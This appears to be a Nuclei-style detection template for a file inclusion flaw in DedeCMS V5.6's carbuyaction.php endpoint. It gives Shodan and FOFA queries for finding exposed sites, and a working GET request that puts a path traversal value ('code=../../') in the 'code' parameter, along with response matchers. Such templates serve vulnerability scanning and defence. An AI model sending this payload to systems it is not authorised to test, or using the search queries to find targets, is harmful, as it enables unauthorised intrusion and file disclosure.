A vulnerability in DedeCMS's 'carbuyaction.php' endpoint allows remote attackers to return the content of locally stored files via a vulnerability in the 'code' parameter.
shodan: http.html:"power by dedecms" || title:"dedecms"
fofa: app="DedeCMS"
PoC
id: dedecms-carbuyaction-fileinclude
info:
name: DedeCmsV5.6 Carbuyaction Fileinclude
author: pikpikcu
severity: high
description: A vulnerability in DedeCMS's 'carbuyaction.php' endpoint allows remote attackers to return the content of locally stored files via a vulnerability in the 'code' parameter.
reference:
- https://www.cnblogs.com/milantgh/p/3615986.html
classification:
cpe: cpe:2.3:a:dedecms:dedecms:*:*:*:*:*:*:*:*
cwe-id: CWE-23,CWE-73
metadata:
verified: true
max-request: 1
vendor: dedecms
product: dedecms
shodan-query: http.html:"power by dedecms" || title:"dedecms"
tags: dedecms,vuln
http:
- method: GET
path:
- '{{BaseURL}}/plus/carbuyaction.php?dopost=return&code=../../'
headers:
Cookie: code=cod
host-redirects: true
matchers-condition: and
matchers:
- type: word
words:
- "Cod::respond()"
part: body
condition: and
- type: status
status:
- 200
# digest: 4b0a00483046022100f4391f792d11ce2639c76f7c37bb49cac6987142d3a60a61eee0aab7d0874c2c022100ad5be27faf4ac8fc8df4bc02258daf659b86ec81720200f4094cd66fdcf84e64:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.